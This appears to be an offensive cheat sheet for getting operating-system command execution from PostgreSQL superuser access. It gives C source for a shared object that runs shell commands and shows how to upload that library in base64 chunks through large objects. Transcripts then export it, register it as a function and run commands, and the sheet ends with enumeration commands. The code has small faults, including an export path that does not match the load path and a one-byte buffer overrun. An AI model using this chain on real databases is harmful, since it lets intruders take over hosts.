Need Superuser rights.
Simple SO to run blind commands:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS)
{
char *command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Alternative SO with text return (a bit more risky, could crash and cause the DB to enter recovery mode):
//gcc -Wall -Wextra -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#define BLOCK_SIZE (65536)
PG_FUNCTION_INFO_V1(pg_exec);
text * str_to_text(const char *input)
{
text *output = palloc(VARHDRSZ + strlen(input));
SET_VARSIZE(output, VARHDRSZ + strlen(input));
memcpy(VARDATA(output), input, strlen(input));
return output;
}
Datum pg_exec(PG_FUNCTION_ARGS)
{
char *command = PG_GETARG_CSTRING(0);
FILE *f = popen(command, "r");
if (f == NULL) {
PG_RETURN_TEXT_P(str_to_text("Failed running command\n"));
}
char *tmp_buffer = malloc(BLOCK_SIZE);
char *buffer = malloc(1);
size_t total_size = 0;
size_t current_read_size = 0;
while ((current_read_size = fread(tmp_buffer, 1, BLOCK_SIZE, f)) != 0) {
buffer = realloc(buffer, total_size + current_read_size);
memcpy(buffer + total_size, tmp_buffer, current_read_size);
total_size += current_read_size;
}
memcpy(buffer + total_size, "\0", 1);
text *psql_buffer = str_to_text(buffer);
pclose(f);
free(buffer);
PG_RETURN_TEXT_P(psql_buffer);
}
psql -h 127.0.0.1 -p 5432 -U postgres
Remotely upload a shared object to disk using large objects.
First create a large objects and get its id to reuse:
postgres=# SELECT lo_creat(-1);
lo_creat
----------
24576
(1 row)
Then split the file into chunks of size 2048 bytes and generate commands to paste into psql session:
split -b 2048 pg_exec.so
index=0; for file in xa*; do echo '\set c'$index' `base64 -w0 '$file'`'; echo "INSERT INTO pg_largeobject(loid, pageno, data) values(24576, $index, decode(:'c$index', 'base64'));"; index=$((index+1)); done
Then upload chunks one by one:
postgres=# \set c0 `base64 -w0 xaa`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 0, decode(:'c0', 'base64'));
INSERT 0 1
postgres=# \set c1 `base64 -w0 xab`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 1, decode(:'c1', 'base64'));
INSERT 0 1
postgres=# \set c2 `base64 -w0 xac`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 2, decode(:'c2', 'base64'));
INSERT 0 1
postgres=# \set c3 `base64 -w0 xad`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 3, decode(:'c3', 'base64'));
INSERT 0 1
postgres=# \set c4 `base64 -w0 xae`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 4, decode(:'c4', 'base64'));
INSERT 0 1
postgres=# \set c5 `base64 -w0 xaf`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 5, decode(:'c5', 'base64'));
INSERT 0 1
postgres=# \set c6 `base64 -w0 xag`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 6, decode(:'c6', 'base64'));
INSERT 0 1
postgres=# \set c7 `base64 -w0 xah`
postgres=# INSERT INTO pg_largeobject(loid, pageno, data) values(24576, 7, decode(:'c7', 'base64'));
INSERT 0 1
Finally, export the object to disk:
postgres=# SELECT lo_export(24576, '/tmp/pg_exec.so');
lo_export
-----------
1
(1 row)
Run lo_unlink to cleanup the large object:
postgres=# SELECT lo_unlink(24576);
lo_unlink
-----------
1
(1 row)
postgres=# CREATE OR REPLACE FUNCTION sys(cstring) RETURNS int AS '/run/user/48/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
CREATE FUNCTION
postgres=# SELECT sys('touch /dev/shm/test');
sys
-----
0
(1 row)
postgres=# \df
List of functions
Schema | Name | Result data type | Argument data types | Type
--------+------+------------------+---------------------+------
public | sys | integer | cstring | func
(1 row)
postgres=# DROP FUNCTION sys;
DROP FUNCTION
\pset pager off
\list
\connect <db>
\dt
\dt *.*
\du
\q
pg_dump
\dx
\df dbname.*
pg_authid
SELECT version();